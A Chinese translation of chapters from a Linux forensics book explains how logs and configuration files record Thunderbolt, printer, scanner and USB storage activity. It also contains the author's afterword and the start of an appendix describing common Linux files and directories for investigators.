Thunderbolt 是由 Apple 和 Intel 联合开发的高速外部接口,用于通过单一接口连接磁盘、视频显示器和 PCIe 设备。以代号 Light Peak 开发,最初计划为光纤连接。Apple 在 Thunderbolt 的普及上起到了主导作用(主要是在 Apple 用户中),通过 Apple 硬件推广该技术。

物理接口使用 Mini DisplayPort 作为 Thunderbolt 1 和 Thunderbolt 2 的接口,Thunderbolt 3 则采用 USB Type-C 电缆和连接器。

Thunderbolt 3. Thunderbolt 3 接口将 PCIe、DisplayPort 和 USB3 集成到一个单一接口中。Thunderbolt 1、2 和 3 分别提供 10、20 和 40Gbps 的传输速度。

以下示例显示了连接到 Linux 笔记本的 Thunderbolt 设备:

Dec 30 10:45:27 pc1 kernel: thunderbolt 0-3: new device found, vendor=0x1 device=0x8003
Dec 30 10:45:27 pc1 kernel: thunderbolt 0-3: Apple, Inc. Thunderbolt to Gigabit Ethernet
 Adapter
Dec 30 10:45:27 pc1 boltd[429]: [409f9f01-0200-Thunderbolt to Gigabit Ethe] parent is
 c6030000-0060...
Dec 30 10:45:27 pc1 boltd[429]: [409f9f01-0200-Thunderbolt to Gigabit Ethe] connected:
 authorized
 (/sys/devices/pci0000:00/0000:00:1d.4/0000:05:00.0/0000:06:00.0/0000:07:00.0/domain0/0-0/0-3)
Dec 30 10:45:29 pc1 kernel: tg3 0000:30:00.0 eth1: Link is up at 1000 Mbps, full duplex
Dec 30 10:45:29 pc1 kernel: tg3 0000:30:00.0 eth1: Flow control is on for TX and on for RX
Dec 30 10:45:29 pc1 kernel: tg3 0000:30:00.0 eth1: EEE is enabled
Dec 30 10:45:29 pc1 kernel: IPv6: ADDRCONF(NETDEV_CHANGE): eth1: link becomes ready
Dec 30 10:45:29 pc1 systemd-networkd[270]: eth1: Gained carrier
...
Dec 30 10:50:56 pc1 kernel: thunderbolt 0-3: device disconnected
Dec 30 10:50:56 pc1 boltd[429]: [409f9f01-0200-Thunderbolt to Gigabit Ethe] disconnected
 (/sys/devices/pci0000:00/0000:00:1d.4/0000:05:00.0/0000:06:00.0/0000:07:00.0/domain0/0-0/0-3)
Dec 30 10:50:56 pc1 systemd-networkd[270]: eth1: Lost carrier

日志显示,在 12 月 30 日的 10:45 插入了一个 Thunderbolt 千兆以太网适配器,并在几分钟后(10:50)拔出。在这台机器上,systemd-networkd 守护进程正在管理网络,并监视以太网链接状态(承载)。

Thunderbolt 3 引入了几项安全功能,以通过直接内存访问(DMA)来减轻未经授权的内存访问风险。^(2) boltd 守护进程(在前面的示例中看到)管理启用安全级别的 Thunderbolt 3 设备的授权。

打印机和扫描仪

打印和打印机自 Unix 计算开始以来一直是其一部分。Unix 最早的一个应用就是在贝尔实验室进行文档(专利申请)的文本格式化^(3)。

打印机和扫描仪作为数字世界与物理世界之间的桥梁。打印机和扫描仪执行相反的功能:一个将电子文件转化为纸质文档,另一个则将纸质文档转化为电子文件。两者都是标准组件。

现在的办公室中都有打印机和扫描仪,并且 Linux 系统对此有很好的支持。打印和扫描分析是法医检查的标准部分,用于识别 Linux 系统上遗留下来的文档痕迹。

打印机和打印历史分析

传统的 Unix 打印通常使用 BSD 行打印机守护进程(lpd)接受并排队安装打印机的打印作业。现代 Linux 系统采用了通用的 Unix 打印系统(CUPS),自从最初在基于 Unix 的 OS X 操作系统中使用以来,得到了 Apple 的显著支持和参与。对打印系统的取证分析可能会揭示过去的打印活动信息。

CUPS 软件包可以配置为使用直接连接的打印机(通常通过 USB)或通过网络连接的打印机。通过网络打印时,可以使用多种协议(如 IPP、lpr、HP JetDirect 等),其中推荐使用互联网打印协议(IPP)。cupsd 守护进程监听打印请求,并通过 TCP 端口 631 上的本地 web 服务器管理打印系统。

/etc/cups/ 目录包含 CUPS 配置,单个打印机添加到 printers.conf 文件中(通过 CUPS 界面或由发行版提供的 GUI)。以下是一个示例 /etc/cups/printers.conf 文件:

# Printer configuration file for CUPS v2.3.3op1
# Written by cupsd
# DO NOT EDIT THIS FILE WHEN CUPSD IS RUNNING
NextPrinterId 7
<Printer bro>
PrinterId 6
UUID urn:uuid:55fea3b9-7948-3f4c-75af-e18d47c02475
AuthInfoRequired none
Info Tree Killer
Location My Office
MakeModel Brother HLL2370DN for CUPS
DeviceURI ipp://bro.example.com/ipp/port1
State Idle
StateTime 1609329922
ConfigTime 1609329830
Type 8425492
Accepting Yes
Shared No
JobSheets none none
QuotaPeriod 0
PageLimit 0
KLimit 0
OpPolicy default
ErrorPolicy stop-printer
Attribute marker-colors \#000000,none
Attribute marker-levels -1,98
Attribute marker-low-levels 16
Attribute marker-high-levels 100
Attribute marker-names Black Toner Cartridge,Drum Unit
Attribute marker-types toner
Attribute marker-change-time 1609329922
</Printer>

打印机名称 bro<printer bro></printer> 标签指定(这种类似 HTML 的标记方式允许在同一文件中配置多个打印机)。有关品牌和型号的信息被记录下来,并且当打印机配置或属性更改时,会更新多个时间戳。

除了打印作业,cupsd 守护进程还管理配置请求和其他本地管理任务。这些活动记录在 /var/log/cups/ 目录中,其中可能包含 access_logerror_logpage_log 文件,记录有关 CUPS 活动的信息,包括配置的打印机活动。这些日志在 cupsd-logs(5) 手册页中有文档记录。

access_log 文件记录管理活动以及对不同配置打印机的打印请求:

localhost - root [30/Dec/2020:13:46:57 +0100] "POST /admin/ HTTP/1.1"
 200 163 Pause-Printer successful-ok
localhost - root [30/Dec/2020:13:47:02 +0100] "POST /admin/ HTTP/1.1"
 200 163 Resume-Printer successful-ok
...
localhost - - [30/Dec/2020:13:48:19 +0100] "POST /printers/bro HTTP/1.1"
 200 52928 Send-Document successful-ok

在这里,打印机被暂停和恢复,然后打印文档。

error_log 文件记录各种错误和警告信息,其中可能包含关于打印机安装失败、打印问题以及其他可能与调查相关的异常事件的有趣信息,例如以下示例:

E [30/Apr/2020:10:46:37 +0200] [Job 46] The printer is not responding.

error_log 行以字母开头(E 表示错误,W 表示警告,依此类推)。这些错误字母在 cupsd-logs(5) 手册页中列出。

page_log 文件对于调查人员特别有用,因为它记录了过去打印作业和文件名的历史;例如:

bro sam 271 [15/Oct/2020:08:46:16 +0200] total 1 - localhost Sales receipt_35099373.pdf - -
bro sam 368 [30/Dec/2020:13:48:41 +0100] total 1 - localhost Hacking History - Part2.odt - -
...

显示了两个打印作业,包括打印机名称(bro)、打印作业的用户(sam)、打印时间和文件名。

这些日志文件可能会随着时间的推移而旋转,并添加数字扩展名(error_log.1page_log.2 等)。与其他用户活动不同,用户的主目录中存储的信息不多。打印作业会传递给 CUPS 守护进程,后者作为系统范围的功能管理配置和日志记录。这些日志用于本地和网络配置的打印机。CUPS 拥有十多个手册页,因此可以从 cups(1) 手册页或 www.cups.org/ 开始,获取更多信息。

除了 CUPS 日志,将 USB 打印机连接到本地机器还会在 systemd 日志中生成日志,如下所示:

Dec 30 14:42:41 localhost.localdomain kernel: usb 4-1.3: new high-speed USB device number 15
using ehci-pci
Dec 30 14:42:41 pc1 kernel: usb 4-1.3: New USB device found, idVendor=04f9,
idProduct=00a0, bcdDevice= 1.00
Dec 30 14:42:41 pc1 kernel: usb 4-1.3: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
Dec 30 14:42:41 pc1 kernel: usb 4-1.3: Product: HL-L2370DN series
Dec 30 14:42:41 pc1 kernel: usb 4-1.3: Manufacturer: Brother
Dec 30 14:42:41 pc1 kernel: usb 4-1.3: SerialNumber: E78098H9N222411
...
Dec 30 14:42:41 localhost.localdomain kernel: usblp 4-1.3:1.0: usblp0: USB Bidirectional
printer dev 15 if 0 alt 0 proto 2 vid 0x04F9 pid 0x00A0
Dec 30 14:42:41 localhost.localdomain kernel: usbcore: registered new interface
driver usblp
...
Dec 30 14:45:19 localhost.localdomain kernel: usb 4-1.3: USB disconnect, device number 15
Dec 30 14:45:19 localhost.localdomain kernel: usblp0: removed

在这里,一台 Brother 打印机在下午 2:42(14:42:41)插入,并在几分钟后于下午 2:45(14:45:19)拔出。显示了型号和序列号。USB 设备(usblp0)也被记录,这是在多台打印机连接到单一系统时的有用信息。

扫描设备和历史记录分析

在 Linux 下进行扫描时,使用的是扫描器访问现在简单(SANE)API。一个较老的竞争系统是 TWAIN (www.twain.org/),但现在大多数发行版都在使用 SANE。SANE 的流行部分是因为前端 GUI 和后端扫描配置驱动程序(位于 /etc/sane.d/)的分离,以及用于网络扫描的 SANE 守护进程(saned)。

将 USB 扫描仪插入 Linux 机器时,会导致信息被记录:

Dec 30 15:04:41 pc1 kernel: usb 1-3: new high-speed USB device number 19 using xhci_hcd
Dec 30 15:04:41 pc1 kernel: usb 1-3: New USB device found, idVendor=04a9, idProduct=1905,
bcdDevice= 6.03
Dec 30 15:04:41 pc1 kernel: usb 1-3: New USB device strings: Mfr=1, Product=2, SerialNumber=0

Dec 30 15:04:41 pc1 kernel: usb 1-3: Product: CanoScan
Dec 30 15:04:41 pc1 kernel: usb 1-3: Manufacturer: Canon
...
Dec 30 15:21:32 pc1 kernel: usb 1-3: USB disconnect, device number 19

在这里,一台 Canon CanoScan 设备在下午 3:00 过后插入,然后在 17 分钟后被拔出。

任何前端应用程序都可以使用 SANE 后端库提供的 API。这意味着从取证角度来看,感兴趣的日志和持久数据将是特定于应用程序的。以下示例显示了默认安装在 Linux Mint 上的 simple-scan 应用程序。这些信息可以在用户的主目录中的~/.cache/simple-scan/simple-scan.log 文件中找到:

[+0.00s] DEBUG: simple-scan.vala:1720: Starting simple-scan 3.36.3, PID=172794
...
[+62.29s] DEBUG: scanner.vala:1285: sane_start (page=0, pass=0) -> SANE_STATUS_GOOD
...
[+87.07s] DEBUG: scanner.vala:1399: sane_read (15313) -> (SANE_STATUS_EOF, 0)
...
[+271.21s] DEBUG: app-window.vala:659: Saving to
 'file:///home/sam/Documents/Scanned%20Document.pdf'

每次使用 simple-scan 程序时,这个扫描日志都会被重新创建(覆盖先前的日志)。日志时间反映了程序启动以来的秒数,可以通过将这些值加到日志文件的创建时间戳来计算时间戳。在这里我们看到,程序启动后一分钟扫描了一份文档(大约用了 25 秒钟完成)。三分钟后,文档被保存到用户的 Documents 文件夹,文件名为 Scanned Document.pdf(日志中的 %20 代表空格)。

在涉及扫描仪的取证检查中,你需要确定使用了哪种扫描软件,然后分析该程序的遗留物(XDG 目录、日志、缓存等)。

外部附加存储

在许多取证调查中,特别是涉及非法材料或被盗文档的案件中,识别所有已连接到被检查计算机的存储设备非常重要。在 Linux 系统中,我们可以在多个地方找到这些信息。

外部存储通过硬件接口(如 USB 或 Thunderbolt)连接到计算机系统。计算机通过该接口使用低级协议(如 SCSI、ATA、USB BoT 等)与这些驱动器通信,以读取和写入扇区(这些扇区构成了文件系统的块)。像 USB 闪存驱动器或外部硬盘这样的存储设备,将接口电子设备和存储介质集成到一个单一设备中。然而,在某些情况下,硬盘和存储介质是分开的,被称为可移动介质设备。此类设备的例子包括 SD 卡、光盘(CD/DVD)和磁带。

存储硬件识别

当一个新的存储设备连接到 Linux 系统时,系统会配置适当的设备驱动程序并创建设备文件。设置完成后,可以挂载文件系统。挂载文件系统可以是自动的、手动的,或者在系统启动时进行。新连接的设备在内核中的设置与挂载其包含的文件系统是分开且独立的。这就是为什么我们可以在不挂载设备的情况下进行取证镜像(通过直接访问设备扇区)。

一旦内核识别出一个新的存储设备,设备文件会在 /dev/ 目录下创建(通过 udevd 的帮助),并且可以在内核的 dmesg 日志或其他系统日志中找到。以下示例来自 systemd 日志:

Dec 30 15:49:23 pc1 kernel: usb 1-7: new high-speed USB device number 23 using xhci_hcd
Dec 30 15:49:23 pc1 kernel: usb 1-7: New USB device found, idVendor=0781, idProduct=5567,
 bcdDevice= 1.00
Dec 30 15:49:23 pc1 kernel: usb 1-7: New USB device strings: Mfr=1, Product=2, SerialNumber=3
Dec 30 15:49:23 pc1 kernel: usb 1-7: Product: Cruzer Blade
Dec 30 15:49:23 pc1 kernel: usb 1-7: Manufacturer: SanDisk
Dec 30 15:49:23 pc1 kernel: usb 1-7: SerialNumber: 4C530001310731103142
Dec 30 15:49:23 pc1 kernel: usb-storage 1-7:1.0: USB Mass Storage device detected
Dec 30 15:49:23 pc1 kernel: scsi host5: usb-storage 1-7:1.0
...
Dec 30 15:49:24 pc1 kernel: scsi 5:0:0:0: Direct-Access   SanDisk Cruzer Blade   1.00
 PQ: 0 ANSI: 6
Dec 30 15:49:24 pc1 kernel: sd 5:0:0:0: Attached scsi generic sg2 type 0
Dec 30 15:49:24 pc1 kernel: sd 5:0:0:0: [sdc] 30031872 512-byte logical blocks:
 (15.4 GB/14.3 GiB)
...
Dec 30 15:49:24 pc1 kernel: sdc: sdc1
Dec 30 15:49:24 pc1 kernel: sd 5:0:0:0: [sdc] Attached SCSI removable disk
...

在这里,内核检测到一个新的 USB 设备,确定它是存储设备,并创建了 sdc 设备。显示了 512 字节扇区的数量,表示硬盘的大小(30031872 512-byte logical blocks)。关于制造商、产品和序列号的信息也被记录在日志中。使用的设备名称(此处为 [sdc])可以在驱动器连接期间的其他日志中找到。

当一个存储设备从 Linux 系统中移除时,如前所述,内核不会生成太多信息:

Dec 30 16:02:54 pc1 kernel: usb 1-7: USB disconnect, device number 23

在这个例子中,USB 闪存盘在插入约 15 分钟后被移除。(有关驱动器挂载和卸载的信息将在下一节描述。)

从产品、制造商和大小上可能可以明显看出存储设备是 USB 闪存盘还是外部硬盘盒。但在某些情况下,您可能需要额外的指示器。如果一个普通的 SATA 硬盘被装入硬盘盒,且它是高级格式或 4K 原生硬盘,它可能会显示一行附加日志,内容为 4096-byte physical blocks。USB 闪存盘(和旧款硬盘)只会显示 512 字节的逻辑块行。以下是此附加日志的示例:

Dec 30 16:41:57 pc1 kernel: sd 7:0:0:0: [sde] 7814037168 512-byte logical blocks:
 (4.00 TB/3.64 TiB)
Dec 30 16:41:57 pc1 kernel: sd 7:0:0:0: [sde] 4096-byte physical blocks

在这里,一个外部 USB 外壳中的磁盘(一个 SATA 对接站)记录了 4096 字节的物理块(4K 本地扇区)。我的前一本书《实践取证成像》(No Starch Press,2016)中更详细地解释了高级格式和 4K 本地驱动器。

挂载存储的证据

在内核设置设备驱动程序并创建设备文件后,可以挂载文件系统。外部驱动器的挂载证据可以在多个地方找到。

在服务器上,永久附加的外部存储的文件系统会在/etc/fstab文件中静态配置,以便每次系统启动时自动挂载。一个fstab示例如下:

$ cat /etc/fstab
# Static information about the filesystems.
# See fstab(5) for details.

# <file system> <dir> <type> <options> <dump> <pass>
UUID=b4b80f70-1517-4637-ab5f-fa2a211bc5a3/    ext4   rw,relatime0 1

# all my cool vids
UUID=e2f063d4-e442-47f5-b4d1-b5c936b6ec7f/data    ext4   rw,relatime0 1
...

在这里,/是安装了操作系统的根文件系统,而/data是管理员添加的外部数据驱动器。该文件包含唯一的 UUID、挂载目录,以及可能由管理员添加的注释。其他设备识别信息可以在日志中找到(如前一节所述)。

在桌面计算机上,Linux 发行版通常会提供简单而舒适的用户体验,通常会自动挂载文件系统,并在桌面或文件管理器中显示。这是通过udisks程序完成的,系统在设置设备后通过 D-Bus 调用该程序。

udisks 程序会在/media//run/media/中创建一个临时挂载点,然后挂载驱动器。它随后会显示在用户的桌面或文件管理器中。以下示例显示了一个自动挂载驱动器的日志:

Dec 30 15:49:25 pc1 udisksd[773]: Mounted /dev/sdc1 at /run/media/sam/My Awesome Vids
on behalf of uid 1000
...
Dec 30 16:01:52 pc1 udisksd[773]: udisks_state_check_mounted_fs_entry: block device
/dev/sdc1 is busy, skipping cleanup
Dec 30 16:01:52 pc1 systemd[2574]: run-media-sam-My\x20Awesome\x20Vids.mount: Succeeded.
Dec 30 16:01:52 pc1 udisksd[773]: Cleaning up mount point /run/media/sam/My Awesome Vids
(device 8:33 is not mounted)
...

挂载的驱动器的卷名称为My Awesome Vids。当通过桌面上的弹出菜单项卸载驱动器时,它将在卸载后删除临时目录并记录日志:

Dec 30 16:01:52 pc1 udisksd[773]: Unmounted /dev/sdc1 on behalf of uid 1000
Dec 30 16:01:53 pc1 kernel: sdc: detected capacity change from 15376318464 to 0

然后,可以物理移除该驱动器。

手动挂载也会在系统日志文件中留下痕迹。当系统管理员通过命令行将文件系统挂载到他们选择的挂载点时,手动挂载的证据可以在日志和 shell 历史记录中找到。如果非 root 用户手动挂载文件系统,他们需要提升权限,并通常会在命令前加上sudo。以下是两个mount命令示例,一个是在 root 用户的 shell 历史记录中,另一个是在普通用户的 shell 历史记录中:

# mount /dev/sda1 /mnt
$ sudo mount /dev/sda1 /mnt

其他需要注意的指示器可能包括与存储相关的错误消息、坏道或未干净卸载的存储设备。根据使用的文件管理器,也可能会有缓存信息、历史记录或书签,表明外部存储设备的使用。

总结

本章已经涵盖了附加到 Linux 系统的外部外设的分析。连接和移除外设会在日志中留下痕迹,这些痕迹可以被检查。此外,本章还描述了如何分析打印子系统以及扫描过程的工作原理。现在你应该能够查找附加和移除的外设、扫描和打印的文档的证据。

第十二章:后记

Image

从理论上讲,对 Linux 系统的彻底法医检查应包括理解整个系统中每个文件和目录的来源、目的和内容。这通常涉及数十万个文件。^(1) 显然,并非所有这些文件都对法医调查有价值。从法医角度记录每一个可能的文件和目录是不可行的。由于存在大量的边缘使用案例,每个发行版和系统管理员也会引入他们自己的文件和应用程序。此外,自由和开源软件领域处于持续变化的状态中。新文件被引入,旧文件则被弃用。

本书中,我分析了一小部分文件和目录,但内容远未覆盖全面。我明确决定包括那些最常见的法医检查员可能遇到的使用案例。

当面对一个未知的文件或目录时,可以提出几个问题来确定它的存在原因和来源。这个文件来自哪里?该文件是某个安装软件包的一部分吗?如果不是,文件的所有权是否能揭示是谁创建的?文件在文件系统中的位置(它的目录)是否能为它的创建方式或原因提供任何线索?你对文件的所有者和所属组了解多少?该文件名是否出现在任何日志或配置文件中?时间戳显示文件的创建时间、最后修改/更改时间和最后访问时间。这些时间戳是否与日志中的任何活动相关联?在这段时间内,是否有其他文件被创建或删除?该文件名是否在用户输入的命令中出现在 shell 历史记录中?它是什么类型的文件?文件名是否出现在硬盘的任何未分配区域?检查文件内容是否能揭示文件的来源或目的?提出并尝试回答这些问题将帮助调查人员理解 Linux 系统中文件和目录的来源和目的。

在互联网上查找有关特定文件或目录的信息时要小心。寻找权威的信息来源。如果它是某个软件包或特定应用程序文件类型,找到该项目团队的网站并查看他们的官方文档。最终,最权威的信息是源代码(尤其是当文档已过时时)。如果源代码和任何文档之间存在不一致,源代码(及其使用的匹配版本)优先。

同行评审的学术文献是另一种权威的信息来源。在法医界,像《法医学国际》的数字调查,或者像 DFRWS 这样的研究会议上发表的论文,采取了一种经由领域内其他专业人士审查的分析方法。这仅仅是学术和实践文献的两个例子(我提到它们是因为我参与其中)。还有其他信誉良好的数字取证期刊和会议,比如 IEEE《信息取证与安全学报》和数字取证安全与法学会(ADFSL)年会。

对于特定话题,保持对博客、论坛、商业网站和搜索引擎优化内容的健康怀疑态度。许多博客文章、论坛讨论、YouTube 视频和公司白皮书都是优秀、准确且有帮助的;然而,许多则不是。跟随虚假或不正确的信息来源可能会在法医工作中带来重大负面后果。罪犯可能永远无法面对司法制裁,或者更糟,无辜的人可能会被错误地牵连。

许多新的法医书籍专注于应用分析、云取证、移动取证、大数据分析以及其他新的热门领域。与此相比,操作系统分析等话题可能显得陈旧且不那么令人兴奋。但在过去十年里,Linux 在许多方面取得了显著进展,而数字取证文献未能跟上这一变化。通过本书,我尝试填补这一空白。

Linux 世界正在不断变化,新的特性定期加入到内核中。查看 Linux 内核邮件列表(LKML)就能找到相关证据!systemd 的采用和持续发展将改变我们分析用户空间的方式。Systemd 是内核与用户运行应用程序之间的新“系统层”。另一个重要变化是从 X11 到 Wayland 的过渡,以及放弃传统桌面隐喻的趋势。发现和理解 Linux 系统中所有可用的取证痕迹将继续是一个挑战。

本书强调了许多对法医调查员有益的领域,同时揭示了可能对用户隐私构成风险的领域。毫无疑问,许多隐私问题最终会被修复,不再提供证据痕迹。这是数字取证的自然发展,最终对社会有益。但不要担心,新的证据收集机会正在与传统来源消失的速度一样快地涌现。一名优秀的法医调查员始终保持对该领域新发展的敏感。

本书完全避免了实时系统分析和 Linux 内存分析的话题。我故意将重点放在了事后分析上。市面上有很多关于事件响应的优秀书籍,涵盖了运行中的 Linux 系统的实时分析,但很少有书籍采用“死磁盘”分析方法,而这种方法对于对严重犯罪事件进行具有法医效力的调查至关重要。只涉及事后法医镜像分析,使得本书能够集中精力并深入探讨,最终成为一本更有用的参考书。如果试图在类似篇幅的手稿中同时涵盖实时和事后场景,内容势必会被稀释。

无论你是专业的取证从业者,还是正在学习取证的学生,亦或是取证工具的开发者,或是推动取证领域发展的研究人员,我希望你喜欢本书。我希望你觉得它是一本有用的教育工具,并且在未来,仍然能够作为一个有帮助的参考书。

最后给读者的一句话鼓励:学习!我之所以投身于数字取证和调查领域,是因为这是一个你总是在学习的领域。调查过程是学习——了解事件中发生了什么。数字取证过程是学习——了解技术如何相互作用并重建技术活动的序列。数字取证的研究与开发是学习——学习开发新工具和方法,以克服挑战,理解复杂技术,推动知识体系的发展。

数字取证是一个迷人的领域,Linux 是一个有趣的操作系统。享受它们吧!

— Bruce Nikkel

第十三章:文件/目录列表供数字调查员使用

Image

本附录包含在流行 Linux 系统中常见的文件和目录列表,以及数字取证调查员的描述。

在大多数 Linux 系统中找到的文件和目录在两个 man 页面中有描述:hier(7) 和 file-hierarchy(7)。根据 Linux 发行版、当地自定义配置和已安装的软件包,本文档中列出的一些文件可能在你分析的取证镜像中不存在。如果你知道其他从调查或取证角度有趣的文件,请通过电子邮件联系我 nikkel@digitalforensics.ch,我会考虑将它们添加到本文档中。

本文档的最新版本已发布在我的网站 digitalforensics.ch/linux/ 上。

/

/ 系统的顶级或 目录;所有附加的文件系统或伪文件系统都挂载在此树中的子目录下。

./ 每个目录都有一个点子目录,指向它本身。

../ 每个目录都有一个双点子目录,指向其父目录。

/bin/ 包含可执行文件;通常符号链接到 /usr/bin/

/boot/ 包含引导加载器文件(如 grub 等)以及可能的 EFI 挂载点的目录。

/cdrom/ 传统的通用挂载点,用于临时挂载可移动介质,如 CD 或 DVD 光盘;在取证镜像中可能为空。

/desktopfs-pkgs.txt, /rootfs-pkgs.txt Manjaro 初始软件包安装列表。

/dev/ 设备文件的位置,通常由 udev 守护进程动态创建(和删除);在取证镜像中可能为空。

/etc/ 存储系统配置数据的目录;有助于重建系统的配置方式。

/home/ 系统中普通用户的主目录;包含最多的用户活动证据。

/initrd.img 指向初始 RAM 磁盘映像的符号链接(通常来自 /boot/);如果 initrd 已更新,也可能有 initrd.img.old

/lib32/ 包含 32 位兼容库和可执行文件;可能符号链接到 /usr/lib32/

/lib64/ 包含 64 位兼容库;可能符号链接到 /usr/lib64/

/lib/ 包含库和可执行文件;通常符号链接到 /usr/lib/

/libx32/ 包含适用于 x32 ABI(64 位指令,32 位指针)的兼容库和可执行文件;可能符号链接到 /usr/libx32/

/lost+found/ 存放在文件系统修复过程中发现的孤立文件(没有父目录的文件)的目录。它可能存在于任何已挂载文件系统的根目录下。

/media/ 用于动态创建可移动介质(如 USB 存储棒、SD 卡、CD/DVD 光盘等)挂载点的目录;在取证镜像中可能为空。

/mnt/ 传统的通用挂载点,用于临时挂载的文件系统;在取证镜像中可能为空。

/opt/ 包含“可选”或附加软件的目录。

/proc/ 用于获取有关运行进程的信息的伪文件系统挂载点;在法医镜像中可能为空。

/root/ 根用户的主目录(故意位于/home/之外)。

/run/ 用于运行时数据的 tmpfs 文件系统挂载点;可能会符号链接到/var/run/;在法医镜像中可能为空。

/sbin/ 包含可执行文件;通常是符号链接到/usr/sbin//usr/bin(如果binsbin已合并)。

/snap/ 用于 Snap 软件包符号链接和挂载点的目录;可能会符号链接到/var/lib/snapd/snap

/srv/ 用于存储提供的内容(HTTP、FTP、TFTP 等)的目录。

/swapfile 基于文件的交换分区替代方案;可能包含上次系统运行时的内存碎片或休眠内存镜像。

/sys/ 用于运行内核的伪文件系统接口的挂载点;在法医镜像中可能为空。

/tmp/ 用于临时文件的 tmpfs 文件系统挂载点(重启时丢失);在法医镜像中可能为空。

/usr/ 旨在成为多个系统共享的只读文件目录;如今主要包含来自已安装包的静态文件。

/var/ 用于存储可变系统和应用程序数据的目录;通常在重启时保持持久,并包含存储在日志文件中的证据。

/vmlinuz 内核镜像的符号链接(通常位于/boot/目录);如果内核被更新,也可能有vmlinuz.old

/boot/

/boot/amd-ucode.img AMD CPU 微码更新(包含文件的存档)。

/boot/cmdline.txt 树莓派上的内核参数。

/boot/config-* 内核配置。

/boot/initramfs.* 初始 RAM 磁盘(包含文件的存档)。

/boot/initrd.* 初始 RAM 磁盘(包含文件的存档)。

/boot/intel-ucode.img Intel CPU 微码更新(包含文件的存档)。

/boot/System.map-* 内核符号表。

/boot/vmlinuz-* Linux 内核镜像文件。

/boot/grub/

/boot/grub/custom.cfg 额外的 GRUB 自定义配置。

/boot/grub/grub.cfg GRUB 配置文件(也可以位于EFI/目录中)。

/boot/grub/grubenv GRUB 环境块,1024 字节,固定大小。

/boot/grub/i386-pc/ 32 位 GRUB 模块。

/boot/grub/, /boot/grub2/ 用于引导加载程序文件的 GRUB 目录。

/boot/grub/x86_64-efi/ 64 位 GRUB 模块。

/boot/loader/

/boot/loader/ Systemd 的引导加载程序(systemd-boot,以前是gummiboot)。

/boot/loader/loader.conf 整体systemd-boot配置。

/boot/loader/entries/.conf* 引导条目配置文件。

EFI/

EFI/ EFI 系统分区(ESP),FAT 文件系统;通常挂载在/boot/efi//efi/

EFI/BOOT/BOOT64.EFI, EFI/BOOT/BOOTX64.EFI 常见的默认 64 位 EFI 引导加载程序。

EFI/BOOT/BOOTIA32.EFI 常见的默认 32 位 EFI 引导加载程序。

EFI/fedora/, EFI/ubuntu/, EFI/debian/ 发行版特定的 EFI 目录示例。

EFI//grubx64.efi* GRUB 的 EFI 引导加载程序。

EFI//shim.efi, EFI//shimx64.efi, EFI//shimx64-fedora.efi*** 用于安全启动的签名二进制文件。

/etc/

/etc/.updated Systemd 可能在更新时创建此文件,包含时间戳。

/etc/lsb-release, /etc/machine-info, /etc/release, /etc/version 已安装的 Linux 发行版信息。

/etc/.release, /etc/-release, /etc/_version*** 已安装的 Linux 发行版信息。

/etc/abrt/ 自动化的错误报告工具配置。

/etc/acpi/ ACPI 事件和处理脚本。

/etc/adduser.conf adduseraddgroup 命令的配置文件。

/etc/adjtime 硬件时钟及漂移信息。

/etc/aliases, /etc/aliases.d/ 邮件地址别名文件。

/etc/alternatives 替代命令的配置。

/etc/anaconda/ Fedora 安装程序配置。

/etc/apache2/ Apache web 服务器配置。

/etc/apparmor/, /etc/apparmor.d/ AppArmor 配置和配置文件。

/etc/apport/ Ubuntu 崩溃报告器配置。

/etc/appstream.conf AppStream 通用包管理器配置。

/etc/apt/ Debian APT 配置。

/etc/audit/audit.rules, /etc/audit/rules.d/.rules* Linux 审计系统规则。

/etc/authselect/ Fedora authselect 配置。

/etc/autofs/, /etc/autofs.* 配置按需自动挂载文件系统。

/etc/avahi/ Avahi(零配置)守护进程配置。

/etc/bash.bash_logout Bash shell 全局注销脚本。

/etc/bashrc, /etc/bash.bashrc Bash shell 全局登录脚本。

/etc/binfmt.d/.conf* 配置启动时可执行文件的附加二进制格式。

/etc/bluetooth/.conf* 蓝牙配置文件。

/etc/ca-certificates/, /etc/ca-certificates.conf 系统范围的证书颁发机构(信任和阻止的)。

/etc/casper.conf initramfs-tools 引导 live 系统的配置文件。

/etc/chrony* Chrony 时间同步守护进程的配置。

/etc/conf.d/ Arch Linux 配置文件。

/etc/cron* Cron 调度配置。

/etc/crontab, /etc/anacrontab, /etc/cron.* 定时的 cron 作业。

/etc/crypttab 指定如何挂载加密文件系统。

/etc/ctdb/ Manjaro 的崩溃处理程序配置。

/etc/cups/ CUPS 打印机配置文件。

/etc/dbus-1/ D-Bus 配置(系统和会话)。

/etc/dconf/ dconf 配置数据库。

/etc/debconf.conf Debian 配置系统。

/etc/default/ 各种守护进程和子系统的默认配置文件。

/etc/defaultdomain 默认 NIS 域名。

/etc/deluser.conf deluserdelgroup 命令的配置文件。

/etc/dhclient.conf, /etc/dhcp** DHCP 配置。

/etc/dnf/ Fedora DNF 包管理配置。

/etc/dnsmasq.conf, /etc/dnsmasq.d/ DNSMasq、DNS 和 DHCP 服务器的设置。

/etc/dpkg/ Debian 配置设置。

/etc/dracut.conf, /etc/dracut.conf.d/ 用于创建 initramfs 镜像的 Dracut 配置。

/etc/environment, /etc/environment.d/ 设置 systemd 用户实例的环境变量。

/etc/ethertypes 以太网帧类型。

/etc/exports NFS 文件系统导出。

/etc/fake-hwclock.data 包含没有时钟的系统(如 Raspberry Pi)的最近时间戳。

/etc/firewalld/ firewalld 守护进程的配置文件。

/etc/flatpak/ Flatpak 配置和仓库。

/etc/fscrypt.conf 引导时挂载的加密文件系统。

/etc/fstab 引导时挂载的文件系统。

/etc/ftpusers 禁止的 FTP 用户列表。

/etc/fuse3.conf, /etc/fuse.conf 配置用户空间文件系统。

/etc/fwupd/.conf* 配置固件更新守护进程。

/etc/gconf/ GNOME 2 配置数据库。

/etc/gdm/, /etc/gdm3/ GNOME 显示管理器 (GDM) 配置。

/etc/geoclue/geoclue.conf GeoClue 地理位置服务的配置。

/etc/gnupg/gpgconf.conf GnuPG/GPG 的默认配置。

/etc/group, /etc/group- 群组信息文件。

/etc/gshadow 群组影子文件(包含哈希密码)。

/etc/hostapd/ 用作 Wi-Fi 接入点的 Linux 配置。

/etc/hostid 系统的唯一标识符。

/etc/hostname 系统定义的主机名(此主机名不唯一)。

/etc/hosts 主机列表及其匹配的 IP 地址。

/etc/hosts.allow, /etc/hosts.deny TCP 包装器访问控制文件。

/etc/init.d/ 传统的 System V 初始化脚本。

/etc/init/, /etc/rc.d/** 传统初始化系统。

